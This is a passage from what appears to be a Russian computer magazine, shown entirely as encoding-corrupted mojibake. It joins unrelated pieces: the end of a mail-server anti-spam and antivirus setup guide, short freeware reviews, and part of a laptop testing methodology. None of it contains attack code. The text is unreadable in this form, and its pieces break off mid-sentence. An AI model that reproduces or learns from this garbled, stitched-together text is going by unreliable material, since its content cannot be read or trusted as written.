ðàçìåð èñõîäÿùèõ ñîîáùåíèé, íàï-
ðèìåð, ïÿòüþ ìåãàáàéòàìè. 

Â çàêëàäêå «Äîñòàâêà SMTP»
íè÷åãî íå ìåíÿåì è ïåðåõîäèì
â çàêëàäêó «Ïàðàìåòðû î÷åðåäè».
Çäåñü âñå òîæå îñòàâëÿåì ïî óìîë-
÷àíèþ, ðàçâå ÷òî ìîæíî ñìåíèòü
ÿçûê îò÷åòîâ íà «Ðóññêèé». Ïåðåõî-
äèì ê ôèëüòðó ñîäåðæèìîãî. Çàê-
ëàäêà «Ôèëüòð ñîäåðæèìîãî»!
«Ôèëüòð ñïàìà». Â ïåðâîé çàêëàäêå
«Îöåíêà ïðèíàäëåæíîñòè ñîîáùå-
íèé ê ñïàìó» íå òðîãàåì íè÷åãî. Ïå-
ðåõîäèì â çàêëàäêó «×åðíûå ñïèñ-
êè». Âîò òåïåðü íàì íåîáõîäèìî
âåðíóòüñÿ â çàêëàäêó «Îïðåäåëå-

íèÿ»! «Ãðóïïû IP-àäðåñîâ»! «Äî-
áàâèòü» è âêëþ÷èòü ñþäà åùå îäíó
ãðóïïó, êîòîðóþ íàçîâåì
«Spam&Virus».

Â ýòó ãðóïïó òû ñìîæåøü çàíî-
ñèòü îñîáî íàäîåäëèâûå àäðåñà
ïî ðàññûëêå ñïàìà è âèðåé. Â ñâîé-
ñòâàõ âûáèðàåøü «Òèï»! «Õîñò»,
çàïèñûâàåøü àäðåñ ïåðâîãî ïîïàâ-
øåãîñÿ ñïàìåðà (íàïðèìåð 61.216.-
119.248), â îïèñàíèè ïèøåøü
«SPAM». Âîçâðàùàåìñÿ â çàêëàäêó
«Ôèëüòð ñîäåðæèìîãî»! «×åðíûå
ñïèñêè». Îòìå÷àåøü ãàëî÷êîé ïåðå-
÷èñëåííûå â òàáëèöå «×åðíûå ñïèñ-
êè ñåòè Èíòåðíåò» ðåñóðñû
è â «Ïîëüçîâàòåëüñêîì ÷åðíîì
ñïèñêå IP-àäðåñîâ ðàñïðîñòðàíèòå-
ëåé ñïàìà» â «Ãðóïïå IP-àäðåñîâ»
âûáèðàåøü ñîçäàííóþ òîáîé ãðóïïó
IP-àäðåñîâ «Spam&Virus». Íå çàáû-
âàé äàâèòü «Ïðèìåíèòü». 

Òåïåðü òû ãîòîâ âîåâàòü
ñî ñïàìåðàìè ñàìîñòîÿòåëüíî.
Èç ëþáîãî âõîäÿùåãî ñïàìåðñêîãî
ïèñüìà òû âûòàñêèâàåøü IP-àäðåñ
ìàøèíû, ïîñëàâøåé ýòî ïèñüìî,
è çàíîñèøü åãî â ñâîþ ãðóïïó
«Span&Virus». È âñå, ïî÷òîâèê ñáðà-
ñûâàåò ýòè ïèñüìà è òåáÿ íå òðîãà-
åò. Åñëè òâîÿ êîíòîðà íå îáùàåòñÿ
ñ àäðåñàòàìè èç-çà ãðàíèöû, òî
ìîæíî îòðåçàòü öåëûå ñòðàíû. Íàï-
ðèìåð, àäðåñ, êîòîðûé ìû ïåðâûì
çàíåñëè â ñïèñîê, ïðèíàäëåæèò Òàé-
âàíþ. Ìåòîäèêà ïîèñêà òàêîâà: çà-
ïèñàë àäðåñ ñïàì-ìàøèíû, çàëåç
â èíòåðíåò íà ïîèñêîâèê, íàïðèìåð
www.whoisinform.ru, âûáðàë èç ñïèñêà
«Ïîèñê èíôîðìàöèè îá IP-àäðåñå»,
ââåë â ïîëå àäðåñ è íàæàë «Íàéòè».
Â îòâåò ïîëó÷èë èíôó î òîì, êàêîé
ñåòè ïðèíàäëåæèò äàííàÿ ìàøèíà,
è èíôó î ðàçìåðå ñåòè. Â íàøåì
ñëó÷àå ýòî àäðåñà â äèàïàçîíå
61.216.0.0 � 61.219.255.255. Íèêòî
òåáå íå ìåøàåò îòðåçàòü âñþ ýòó
ñåòü. Â ñïèñêå IP-àäðåñîâ ñîçäàåøü
çàïèñü òèïà «Äèàïàçîí àäðåñîâ» �
è ïðîùàé ïåðåïèñêà ñ Òàéâàíåì. Òå-
ïåðü ïåðåõîäèì ñðàçó íà çàêëàäêó
«Ñðåäñòâî çàùèòû îò ñïàìà». Îòìå-
÷àåì ãàëî÷êîé «Çàäåðæàòü ïðèâåò-
ñòâèå SMTP íà 25 ñåê.», âûáèðàåì
â ïîëå «Íå ïðèìåíÿòü çàäåðæêó
äëÿ ñîåäèíåíèé îò LAN. 

Äàííîå äåéñòâèå ïîçâîëèò îò-
áèòü íåêîòîðîå êîëè÷åñòâî ñïàìà.
Ïðèíöèï äåéñòâèÿ òàêîé: â ìîìåíò
óñòàíîâêè ñîåäèíåíèÿ è îáìåíà èí-
ôîðìàöèåé ìåæäó SMTP-ñåðâåðàìè,
ñóùåñòâóåò òàéì-àóò íà îòâåò ñåðâå-
ðà íà ïðèâåòñòâèå. ×òî-òî îêîëî 30
ñåêóíä. Ñïàìåðñêèå ïðîãðàììû íå
ìîãóò æäàòü òàê äîëãî, âåäü èì íóæ-
íî îòñûëàòü ñîòíè òûñÿ÷ ñîîáùåíèé
è òàéì-àóò îæèäàíèÿ îòâåòà ó íèõ
î÷åíü ìàëåíüêèé. Òàêèì îáðàçîì,
âûñòàâëÿÿ çíà÷åíèå çàäåðæêè ïðè-
âåòñòâèÿ, ìû ýòèõ òîðîïûã îòñåêàåì.
Åäèíñòâåííàÿ òðóäíîñòü, òàéì-àóò
çàäåðæêè ïðèâåòñòâèÿ íå äîëæåí
áûòü ñèëüíî áîëüøèì, äàáû íå îò-
ñå÷ü è íîðìàëüíûå ñåðâåðû.

Ñî ñïàìîì ðàçîáðàëèñü, ïåðå-
õîäèì â çàêëàäêó «Ôèëüòð ñîäåðæè-
ìîãî»! «Àíòèâèðóñ».

Åñëè òû ïðèîáðåë ïî÷òîâûé
ñåðâåð ñî âñòðîåííûì àíòèâèðóñîì,
òî â ýòîé çàêëàäêå òû íàñòðàèâàåøü
ñàì àíòèâèðóñ è åãî äåéñòâèÿ ñ çà-
ðàæåííûì ïèñüìîì. Âñå ìîæíî îñ-
òàâèòü ïî óìîë÷àíèþ, çà îäíèì èñê-
ëþ÷åíèåì. Òåáå íåîáõîäèìî ñîçäàòü
àäìèíñêèé ïî÷òîâûé ÿùèê, íà êîòî-
ðûé áóäóò ñûïàòüñÿ âñå ïèñüìà, äîñ-
òàâëåííûå è íå äîñòàâëåííûå òâîèì
þçåðàì. Ïðèäóìàé ñåáå òàêîé ÿùèê.
Òåïåðü â ïîëå «Åñëè â ñîîáùåíèè
îáíàðóæåí âèðóñ» â äîïîëíåíèå
ê îòìå÷åííîìó ãàëî÷êîé ïîëþ «Óäà-
ëèòü ñîîáùåíèå» îòìåòü åùå è «Ïå-
ðåàäðåñîâàòü èñõîäíîå ñîîáùåíèå
àäìèíèñòðàòîðó» è ââåäè ñþäà ñâîé
àäìèíñêèé ÿùèê. Áûâàåò, ÷òî íåêî-
òîðûå ñîîáùåíèÿ àíòèâèðóñ íå ìî-
æåò ïðîâåðèòü, ïðèíèìàåò èõ çà íåç-
íàêîìûé âèðóñ è óäàëÿåò. Âîò åñëè
òàêîå ïðîèçîøëî, à ïèñüìî íà ñà-
ìîì äåëå áûëî íóæíûì, òî ïî÷òî-
âûé ñåðâåð îòïðàâèò ïîëüçîâàòåëþ
ñîîáùåíèå îá óäàëåííîì ïèñüìå,
à ñàìî ïèñüìî ïðèäåò íà òâîé àäìè-
íñêèé ÿùèê, è òû âñåãäà ñìîæåøü

âåðíóòü åãî þçåðó. Åäèíñòâåííûé
íåäîñòàòîê âñåãî ýòîãî � ïèñüìà
ñ âèðÿìè áóäóò ïðèõîäèòü íà òâîé
àäìèíñêèé ÿùèê íå âûëå÷åííûìè.
Òàê ÷òî çàùèùàéñÿ! 

Âñå òî æå ñàìîå ïðîäåëàé
è â çàêëàäêå «Ôèëüòð ñîäåðæèìî-
ãî»! «Ôèëüòð âëîæåíèé». Çäåñü îò-
ìå÷àåøü ãàëî÷êîé «Âêëþ÷èòü
ôèëüòð âëîæåíèé», ïðîñìàòðèâàåøü
ïðåäëàãàåìûé òåáå ñïèñîê âëîæå-
íèé, îñòàâëÿåøü â íåì íåîáõîäèìûå
äëÿ êîíòðîëÿ è ïåðåíàïðàâëÿåøü
ñîîáùåíèÿ ñ âëîæåíèÿìè íà ñâîé
àäìèíñêèé ÿùèê. Òåïåðü, åñëè ïîëü-
çîâàòåëþ ïðèäåò ïèñüìî ñ íåäîïóñ-
òèìûì âëîæåíèåì, ïî÷òîâèê
ýòî âëîæåíèå âûðåæåò è îòïðàâèò
þçåðó ïðåäóïðåæäåíèå, à òåáå
íà àäìèíñêèé ÿùèê ïðèäåò ýòî æå
ïèñüìî ñ íåòðîíóòûì âëîæåíèåì.
Åñëè îíî áóäåò íåîáõîäèìî,
òû âñåãäà âåðíåøü åãî þçåðó. 

Â ñëåäóþùèé ðàç ìû ïðîäîë-
æèì êîâûðÿòü íàøå ìûëî

Ñîçäàíèå ó÷åòíîé çàïèñè

Íàñòðîéêà «÷åðíûõ ñïèñêîâ»
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Console 2.00.127
sourceforge.net/projects/console
Freeware
Âîò óæ ÷òî-÷òî, à íîðìàëüíóþ êîíñîëü (ñòàíäàðòíóþ Windows
âî âíèìàíèå íå áðàòü) ÿ èñêàë óæå î÷åíü äàâíî. Êîíñîëü � ìåãàó-
äîáíàÿ âåùü â íåïðåðûâíîì ïðîöåññå ðàáîòû ïîä âèíäîé. Âñåãäà
õîòåëîñü, ÷òîáû îíà áûëà êðàñèâàÿ è óäîáíàÿ, à ãëàâíîå �
íå óñòóïàëà â ïðîèçâîäèòåëüíîñòè cmd. Åñëè ïåðâûì äâóì ôàêòî-
ðàì óäîâëåòâîðÿë ïðàêòè÷åñêè ëþáîé ïðîäóêò (à èõ íà ñàìîì äåëå íå òàê óæ ìíîãî), òî õîðîøåé
ðåàëèçàöèåé òðåòüåãî ïðàêòè÷åñêè íèêòî íå ìîã ïîõâàñòàòüñÿ. È âîò ìíå íà ãëàçà ïîïàëàñü êîí-
ñîëüêà � ïðîåêò íà sourceforge.net. Îòëè÷íûé ðåëèç óñîâåðøåíñòâîâàííîé ñòàíäàðòíîé êîíñîëè Win-
dows! Àâòîð ñìîã ñîâìåñòèòü ïðîñòîòó, êðàñîòó è óäîáñòâî îáîëî÷êè äëÿ êîìàíäíûõ èíòåðïðåòàòî-
ðîâ (cmd, bash, etc) àáñîëþòíî áåç ïîòåðè ïðîèçâîäèòåëüíîñòè. Â êà÷åñòâå äîñòîèíñòâ êîíñîëè ìî-
ãó îòìåòèòü çàêëàäêè (âîçìîæíîñòü ðàáîòàòü ñðàçó ñ íåñêîëüêèìè êîíñîëÿìè îäíîâðåìåííî), âèçó-
àëüíûå ðåøåíèÿ (ãèáêàÿ íàñòðîéêà ôîíîâ, öâåòîâ, øðèôòà), âîçìîæíîñòü âûäåëåíèÿ òåêñòà (êàê â
áëîêíîòå). Êîíñîëü íå òðåáóåò óñòàíîâêè è ÿâëÿåòñÿ portable software.

Advanced Vista 
Codec Package 4.2.0
msfn.org
Freeware
Ïåðåõîä íà Windows Vista íåèçáåæåí, åñëè,
êîíå÷íî, íå ñëó÷èòñÿ íè÷åãî ñâåðõúåñòå-
ñòâåííîãî. À çíà÷èò, è ìíîãèå èíñòðóìåí-

òû ïîâñåäíåâíîãî ïîëüçîâàíèÿ äîëæíû ïåðåêî÷åâàòü â ñâå-
æóþ ñðåäó. Ïðåäëàãàþ òåáå óíèâåðñàëüíûé íàáîð êîäåêîâ,
ñîâìåñòèìûé êàê ñ Windows XP, òàê è ñ íîâîé Âèñòîé. Àâòîð
ïîñòàðàëñÿ íà ñëàâó: â ñîñòàâ ïàêåòà âõîäèò âñå íåîáõîäè-
ìîå äëÿ ïîëó÷åíèÿ ìàêñèìàëüíîãî óäîâîëüñòâèÿ îò ïðîñìî-
òðà ôèëüìîâ è ïðîñëóøèâàíèÿ ìóçûêè. Â òî æå âðåìÿ â ñïèñ-
êå îòñóòñòâóþò ñîâåðøåííî íåíóæíûå âåùè: íåò íè âñòðîåí-
íîãî ìåäèàïðîèãðûâàòåëÿ, íè áåñïîëåçíûõ èíñòðóìåíòîâ
è ïðîôàéëîâ. Â íîâîé âåðñèè ðàçðàáîò÷èêè äîáèëèñü ìàêñè-
ìàëüíîé ïðîèçâîäèòåëüíîñòè ïðè ïðàêòè÷åñêè ïîëíîì îòñóò-
ñòâèè êîíôëèêòîâ ìåæäó óñòàíîâëåííûìè êîìïîíåíòàìè.
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Audacity 1.2.6
audacity.sourceforge.net
Freeware
Åùå îäèí ïðîåêò ïîä êðûëûøêîì sourceforge.net � ïðîñòîé
â èñïîëüçîâàíèè çâóêîâîé ðåäàêòîð. Audacity ìíîãîïëàíåí,
ìîæåò èñïîëüçîâàòüñÿ äëÿ çàïèñè çâóêà, îöèôðîâêè èíôîð-
ìàöèè ñ àíàëîãîâûõ íîñèòåëåé (íàïðèìåð, ñòàðûõ äîáðûõ
âèíèëîâ), ðåäàêòèðîâàíèÿ â ðàçëè÷íûõ ôîðìàòàõ (wav, mp3,
ogg): âûðåçàíèÿ, ñâåäåíèÿ, ñêëåèâàíèÿ, èçìåíåíèÿ âûñîòû
òîíà è ñêîðîñòè çàïèñè. Â ëþáîé ìîìåíò â Audacity ìîæíî

äîáàâèòü íîâûå äîïîëíèòåëüíûå ïðèìî÷-
êè (â òîì ÷èñëå VST-ìîäóëè), � ïðîñòî
ñëèòü èõ ñ ñàéòà ïðîåêòà, è äàæå ñîçäà-
âàòü ñîáñòâåííûå ýôôåêòû íà ïðîñòîì
âñòðîåííîì ÿçûêå. Audacity � êðîññ-
ïëàòôîðìåííûé çâóêîâîé ðåäàêòîð, ðà-
áîòàþùèé êàê ïîä Windows, òàê è ïîä
Mac OS X, GNU/Linux è íåêîòîðûõ Unix.
Ïîìèìî ñòàáèëüíîé âåðñèè íà ñàéòå åñòü
äîñòóï ê ñâåæåé áåòå 1.3.2.

NoClone Enterprise
Edition 4
noclone.net
Shareware
Äëÿ îáëàäàòåëåé «íåñêîëüêîñî-
òåíãèãàáàéòíûõ» íîñèòåëåé èí-
ôîðìàöèè, äëÿ òåõ, êòî óñòàë ñëå-
äèòü çà íåèçâåñòíî êóäà èñ÷åç-
íóâøèì ñâîáîäíûì ìåñòîì è ïðî-
ñòî äëÿ ëþáÿùèõ ïîðÿäîê íà ñâî-
åì âèíòå� Äîâîëüíî ñâåæèé èí-
ñòðóìåíò äëÿ ãëîáàëüíîãî îáíà-
ðóæåíèÿ ëþáûõ äóáëèêàòîâ ôàé-
ëîâ íà òâîåì æåñòêîì äèñêå.
NoClone ïðåäëîæèò íåñêîëüêî ðå-
æèìîâ óáîðêè: ïðîâåäåíèå ïîáàé-
òîâîãî (çàìåòü, íå ïî CRC) ñðàâ-
íåíèÿ, ïîèñê ïî íàçâàíèÿì èëè
ïðîñòî ïî ñõîæåñòè, â çàâèñèìî-
ñòè îò æåëàåìîãî óðîâíÿ î÷èñòêè
æèçíåííî âàæíîãî ïðîñòðàíñòâà.
Äîñòàòî÷íî âûñîêàÿ ñêîðîñòü ïî-
èñêà, ãèáêàÿ íàñòðîéêà öåëåâûõ
ôàéëîâ è ìàñêè, âîçìîæíîñòü
ñîõðàíåíèÿ è çàãðóçêè ñåññèè �
âñå ýòè äîñòîèíñòâà ïåðåìåñòèëè
äèñòðèáóòèâ â ïàïêó èçáðàííûõ
ó ìåíÿ íà äèñêå. Íàäåþñü, òå-
áå òîæå ïîíðàâèòñÿ.
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Vista Manager 1.0.3
winxp-mmanager.com/vistamanager
Shareware
Ïðîäîëæàÿ òåìó ñòðåìèòåëüíî íàñòóïàþùåé Windows Vista, õî÷ó ïðåäëîæèòü
òåáå ïåðâûé äîâîëüíî ôóíêöèîíàëüíûé èíñòðóìåíò äëÿ ãèáêîé íàñòðîéêè ýòîãî
ïðîäóêòà Microsoft. Ðàçðàáîò÷èê òóëçû óæå èìååò îïûò ñîçäàíèÿ ïîäîáíûõ ïðî-
ãðàìì � ïðåäûäóùèé åãî ïðîäóêò WinXP Manager äî ñèõ ïîð ïîëüçóåòñÿ èçðÿä-
íîé ïîïóëÿðíîñòüþ. Ïî èíòåðôåéñó Vista Manager â òî÷íîñòè íàïîìèíàåò ñâîåãî
ñòàðøåãî áðàòà, à ïî ñîäåðæàíèþ âêëþ÷àåò â ñåáÿ îêîëî 20 ðàçëè÷íûõ óòèëèò,
ðàçäåëåííûõ íà íåñêîëüêî êàòåãîðèé. Â îñíîâíîì âîçìîæíîñòè ìåíåäæåðà àíà-
ëîãè÷íû ïðåäûäóùåìó ïðîäóêòó êîìïàíèè, äà è òâèêåðàì â îáùåì. Íî òàêèå

óòèëèòû êàê èíäåêñèðîâàíèå ðååñòðà è ìàñòåð î÷èñòêè ñèñòåìû ìîãóò ïîñîðåâíîâàòüñÿ â êà÷åñòâå ñ ïîäîáíûìè
ñèñòåìíûìè ïðîãðàììàìè. Â íîâîé âåðñèè äîáàâëåíà âîçìîæíîñòü ðåçåðâíîãî êîïèðîâàíèÿ ýëåêòðîííîé ïî÷òû,
à òàêæå îáíîâëåíû íåêîòîðûå ñèñòåìíûå ìîäóëè. Vista Manager ðàáîòàåò âî âñåõ âåðñèÿõ Windows Vista è èñ-
ïîëüçóåò .NET Framework, óæå âñòðîåííûé â ÎÑ.

Easy CD-DA 
Extractor 10.0.3
poikosoft.com
Shareware
Ïîñëåäíÿÿ íà ñåãîäíÿøíèé äåíü
âåðñèÿ íåñîìíåííî ëó÷øåãî àó-
äèî-ðèïïåðà. Ýòà ïðîãðàììà ïî-
çâîëÿåò çíà÷èòåëüíî óïðîñòèòü
ïðîöåññ êîïèðîâàíèÿ audioCD
â äðóãèå ôîðìàòû (mp3, wma,
ogg, mp4, m4a, aac, FLAC, Mus-
epack, vqf, wav, aiff è Monkey's
Audio) ñ îáõîäîì çàùèòû îò êî-
ïèðîâàíèÿ, ñïîñîáíîñòüþ ðàáî-
òû ñ ïîâðåæäåííûìè äèñêàìè
è ïîääåðæêîé òåõíîëîãèè BURN-
Proof. Òàêèì æå îáðàçîì îñó-
ùåñòâëÿåòñÿ è çàïèñü audioCD
ñ óêàçàííûõ ôîðìàòîâ, à òàêæå
êîíâåðòàöèÿ ïîääåðæèâàåìûõ
ôîðìàòîâ ìåæäó ñîáîé. Â ïðî-
ãðàììó âñòðîåí ïëååð ñ ïîä-
äåðæêîé ID3, à â íîâîé âåð-
ñèè � è ID3V2-òåãîâ. Êñòàòè,
ðàçðàáîò÷èêè ïðåäñòàâèëè ïîë-
íóþ ïîääåðæêó UNICODE, óëó÷-
øèëè íîðìàëèçàöèþ çâóêà, áû-
ñòðîäåéñòâèå è èíòåðôåéñ. Ðèï-
ïåð äîñòóïåí áîëåå ÷åì íà 30
ÿçûêàõ, â òîì ÷èñëå è íà âåëè-
êîì è ìîãó÷åì.

Portable AnyReader 1.9.55
anyreader.com/ru/
Shareware
Î÷åíü äàæå íåïëîõîé èíñòðóìåíò äëÿ êîïèðîâàíèÿ äàííûõ ñ òðóäíî÷èòà-
åìûõ íîñèòåëåé: CD/DVD-äèñêè, Flash, HDD, ZIP, ñåòåé LAN, Wireless

LAN, Bluetooth. Ïðîãðàììà áåç ïðîáëåì ïåðå-
âàðèò îøèáêè, âîçíèêøèå ïðè ÷òåíèè èëè êî-
ïèðîâàíèè äàííûõ, à òàêæå ïîòåðþ ñîåäèíå-
íèÿ. Ñ ïîìîùüþ AnyReader ìîæíî íå òîëüêî
ñ÷èòàòü äàííûå ñ ïîâðåæäåííûõ íîñèòåëåé,
íî è êîïèðîâàòü èíôîðìàöèþ âíóòðè íåñòà-
áèëüíîé ñåòè. Â íàñòðîéêå ïðîãðàììû óêàçû-
âàåòñÿ êîëè÷åñòâî ïîïûòîê íà ÷òåíèå, ÷òî ïî-
ìîãàåò ðàáîòàòü ñ èíôîðìàöèåé ðàçíîé ñòåïå-
íè ïîâðåæäåííîñòè. Îãðîìíûì ïëþñîì ïðî-
ãðàììû, êîíå÷íî, ÿâëÿåòñÿ ïîðòàòèâíîñòü �
ïðåêðàñíî ïîäîéäåò â êà÷åñòâå ïîäðó÷íîãî èí-
ñòðóìåíòà íà ôëåøêå. Èìååò ïðîñòîé èíòåð-
ôåéñ, äîâîëüíî ïîëíóþ èíôîðìàöèþ ïî ðàáî-
òå è ïîääåðæèâàåò ðóññêèé ÿçûê.

Opera 9.10 Final
opera.com
Freeware
Ýòîãî ó÷àñòíèêà ñåãîäíÿøíåãî îá-
çîðà, íàäåþñü, íå íàäî ïðåäñòà-
âëÿòü. Opera � äàâíî èçâåñòíûé
èíñòðóìåíò äëÿ ñåðôèíãà ìèðîâî-
ãî ñåòåâîãî ïðîñòðàíñòâà � ïðî÷-
íî çàâîåâàë ïî÷òåíèå ïîëüçîâàòå-
ëåé. Åãî ñðàâíèòåëüíî íåáîëüøèå
ðàçìåðû, ñêîðîñòü ðàáîòû è
îáèëüíàÿ ïàëèòðà íàñòðîåê ïîçâî-
ëÿþò ñäåëàòü ïóòåøåñòâèå ïî Ñåòè
ìàêñèìàëüíî ýôôåêòèâíûì, óäîá-
íûì è áåçîïàñíûì. Â Opera 9 áû-
ëî ïðåäñòàâëåíî îãðîìíîå ÷èñëî
èííîâàöèé. Òåïåðü áðàóçåð âîîðó-
æåí äî çóáîâ: êëèåíò äëÿ p2p-ñå-
òåé, BitTorrent, ñòàíäàðòíûé ìåíå-
äæåð çàãðóçêè ôàéëîâ, irc-êëèåíò,
rss-êëèåíò, ñèñòåìà âèäæåòîâ (÷òî-
òî âðîäå íåáîëüøèõ ïëàãèíîâ, íà-
ïîäîáèå ãàäæåòîâ â Windows Vi-
sta). Â ýòîé ôèíàëüíîé âåðñèè ðàç-
ðàáîò÷èêè ïîòðóäèëèñü íàä óëó÷-
øåíèåì ñòàáèëüíîñòè ðàáîòû
áðàóçåðà è ïðîèçâåëè ïîëîæèòåëü-
íûå èçìåíåíèÿ â Fraud Protection. 

Mudbox 1.0 Final
mudbox3d.com
Shareware
Ïðîäóêò ñîâìåñòíûõ òðóäîâ ïðîôåññèîíàëüíûõ ïðîãðàììèñòîâ, îïûòíûõ
3D-õóäîæíèêîâ è èçâåñòíûõ ðàçðàáîò÷èêîâ èãð � ïðîãðàììà äëÿ ñîçäà-
íèÿ êà÷åñòâåííûõ ìîäåëåé ñ âûñîêîé äåòàëèçàöèåé. Ïîêà èíôîðìàöèè
î ïðîåêòå íåìíîãî, íî, íåñîìíåííî, åãî ðàçðàáîòêà áóäåò âåñòèñü è â áó-

äóùåì. Êàòàëèçàòîðîì ýòîìó ñëóæèò íåìàëàÿ çàèíòåðåñî-
âàííîñòü èçâåñòíûõ ëþäåé â îáëàñòè 3D-ìîäåëèðîâàíèÿ
è ðàçðàáîòêè èãð. Ñðåäè îñîáåííîñòåé Mudbox îòìå÷àåòñÿ
ìàêñèìàëüíî áîëüøàÿ ðàáî÷àÿ îáëàñòü, óäîáíûå èíñòðóìåí-
òû. 3D-ñëîè è èõ ìàñêè ñîçäàíû íà îñíîâå ðåàëèçàöèè ñëîåâ
â Photoshop: êîïèðîâàíèå, îáúåäèíåíèå, ãðóïïèðîâêà ïðîèç-
âîäèòñÿ ïîõîæå. Ñìåþ ïðåäïîëîæèòü � ó ïðîåêòà áîëüøîå
áóäóùåå. À ïîêà åñòü âîçìîæíîñòü îçíàêîìèòüñÿ ñ ïåðâîé
ôèíàëüíîé âåðñèåé.

Lazy Setup
CD 1.5 Pro
autosetup.org.ru
Shareware
Òåáå íèêîãäà íå õî-
òåëîñü ñîáðàòü è çà-
ïèñàòü äèñê ñî ñâîèì
ëþáèìûì ñîôòîì,
êîòîðûé òû êàæäûé
ðàç ñòàâèøü ñíîâà
è ñíîâà ïîñëå î÷å-
ðåäíîãî ñíîñà Âèí-
äû? È íå ïðîñòî ñî-
ñòàâèòü ñïèñîê êó÷è
äèñòðèáóòèâîâ, õàî-
òè÷íî ðàñêèäàííûõ ïî âñåìó ïðîñòðàíñòâó êîìïàêòà, à àâòîìàòèçèðîâàòü
óñòàíîâêó ñâîåãî äîáðà è ñâåñòè ê ìèíèìóìó êîëè÷åñòâî íèê÷åìíûõ ìà-
íèïóëÿöèé. Ñ ïîìîùüþ Lazy Setup ìîæíî ñäåëàòü êàê ðàç òàêîé «CD àâ-
òîìàòè÷åñêîé óñòàíîâêè» � íóæíî ëèøü óêàçàòü, êàêèå ïðîãðàììû ñëå-
äóåò óñòàíîâèòü, à ñàì ïðîöåññ èíñòàëëà Lazy Setup áåðåò íà ñåáÿ.
Îíà ïîñëåäîâàòåëüíî çàïóñêàåò ôàéëû óñòàíîâêè, æìåò êíîïêè Next
è Yes, âûáèðàåò ýëåìåíòû, ââîäèò ñåðèéíèêè, ðàññòàâëÿåò ãàëî÷êè «I Ag-
ree�» :). Íàñòðîéêà âñåõ íåîáõîäèìûõ ìàíèïóëÿöèé ïðîèçâîäèòñÿ â àä-
ìèíèñòðàòîðñêîé ÷àñòè ïðîãðàììû, ãäå óêàçûâàþòñÿ êíîïêè/÷åêè/ïåðå-
êëþ÷àòåëè, êîòîðûå äîëæíû áûòü íàæàòû, ÷òî è êóäà äîëæíî áûòü ââåäå-
íî è ò.ï. Ïðîæèã óñòàíîâî÷-
íîãî êîìïàêòà âûïîëíÿåò-
ñÿ íåïîñðåäñòâåííî
èç ïðîãðàììû. Òàêèì îá-
ðàçîì, ðåàëüíî ñýêîíî-
ìèòü íà óñòàíîâêå ñîôòà
äî 75% ñâîåãî äðàãîöåí-
íîãî âðåìåíè. Ïî êðàéíåé
ìåðå, òàê çàÿâëÿþò ðàçðà-
áîò÷èêè. ß èì âåðþ. 
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òåõíîëîãèè. Â ñîâðåìåííûõ äåøåâûõ íîóòáóêàõ íàèáîëåå ÷àñòî
âñòðå÷àþòñÿ âñòðîåííûå âèäåîàäàïòåðû, êîòîðûå íå ñïîñîáíû íà âûñî-
êóþ ïðîèçâîäèòåëüíîñòü � ýòî íå ïîçâîëÿåò íà òàêèõ ëýïòîïàõ íàñëàæ-
äàòüñÿ òðåáîâàòåëüíûìè ê ãðàôèêå èãðàìè. Äà è îáùàÿ ïðîèçâîäèòåëü-
íîñòü, êàê ìû è ãîâîðèëè âûøå, è êàê ïîêàçûâàþò òåñòû, ïàäàåò. Âòîðîé
ïðîáëåìîé âûñòóïàåò ìàëîå âðåìÿ àâòîíîìíîé ðàáîòû. Íåêîòîðûå óñò-
ðîéñòâà íå ñìîãëè â ñâÿçè ñ ýòèì ïðîéòè â ðåæèìå àâòîíîìíîé ðàáîòû
òåñò PCMark 2005, çàðÿä â áàòàðåå ïðîñòî çàêàí÷èâàëñÿ ðàíüøå, ÷åì ñàì
òåñò. Ïîýòîìó åñëè òû ïëàíèðóåøü ðàáîòàòü â äîðîãå, òî îáðàòè íà ýòîò
ïàðàìåòð ñàìîå òùàòåëüíîå âíèìàíèå! Ê íåîñïîðèìûì ïëþñàì òàêèõ äå-
âàéñîâ îòíîñÿòñÿ ñèëüíûå îñíîâíûå êîìïîíåíòû (äâóÿäåðíûå ïðîöåññî-
ðû, êîëè÷åñòâî ïàìÿòè, óíèâåðñàëüíûå îïòè÷åñêèå ïðèâîäû è ò.ä.) è íà-
ëè÷èå âñåâîçìîæíûõ ñðåäñòâ ñâÿçè, âêëþ÷àÿ áåñïðîâîäíûå. Ê íåêîòîðûì
ìîáèëüíûì ÏÊ ïðèêëàäûâàþòñÿ îáøèðíûå íàáîðû ôèðìåííîãî ïðîãðàì-
ìíîãî îáåñïå÷åíèÿ, êîòîðûå äåëàþò ðàáîòó óñòðîéñòâà áîëåå áûñòðîé,
óäîáíîé è áåçîïàñíîé.

ìåòîäèêà òòåñòèðîâàíèÿ. ×òîáû âûÿñíèòü âñå ñàìûì òùàòåëüíûì îáðà-
çîì, ìû ðàçðàáîòàëè ñïåöèàëüíóþ ìåòîäèêó òåñòèðîâàíèÿ, êîòîðàÿ ó÷èòûâà-
åò âñå íþàíñû ðàáîòû ìîáèëüíûõ êîìïüþòåðîâ. Òåñòû ïðîâîäèëèñü â äâóõ
ðåæèìàõ: ïðè ïèòàíèè îò ñåòè è ïðè àâòîíîìíîé ðàáîòå. Â ñàìîì íà÷àëå
ñ ïîìîùüþ óòèëèòû Lavalys Everest ìû ïîëó÷àëè ïîäðîáíåéøóþ èíôîðìà-
öèþ î ñèñòåìå. Çàîäíî çàïóñêàëñÿ âñòðîåííûé â íåå ìîíèòîðèíã òåìïåðàòó-
ðû ïðîöåññîðà, ÷èïñåòà è æåñòêîãî äèñêà. Ïîòîì, èñïîëüçóÿ óòèëèòû S&M
(íàãðóçêà ïðîöåññîðà) è ThrottleWatch (ëîãèðóåò ÷àñòîòó ïðîöåññîðà, íàïðÿ-
æåíèå è íåêîòîðûå äðóãèå ïàðàìåòðû), ìû âûÿñíÿëè ïðàâèëüíîñòü ðàáîòû
äàííîãî ÏÊ ïî ñõåìàì ïèòàíèÿ Always On (ïðè ðàáîòå îò ñåòè) è Laptop (ïðè
ðàáîòå îò àêêóìóëÿòîðà). Äåëî â òîì, ÷òî åñëè îò ñåòè íîóòáóêè ðàáîòàþò
íîðìàëüíî, òî â ðåæèìå Laptop îíè ìîãóò âåñòè ñåáÿ «íåïðàâèëüíî» �
íå ñíèæàòü ÿðêîñòü ýêðàíà, íå ñáðàñûâàòü ÷àñòîòó ðàáîòû è íàïðÿæåíèå
ïðîöåññîðà, ÷òî íåãàòèâíî îòðàæàåòñÿ íà âðåìåíè ðàáîòû, è ðåçóëüòàòû òåñ-
òîâ ïîëó÷àþòñÿ íåêîððåêòíûìè. Åñëè âñå áûëî íîðìàëüíî, çàïóñêàëñÿ òåñ-
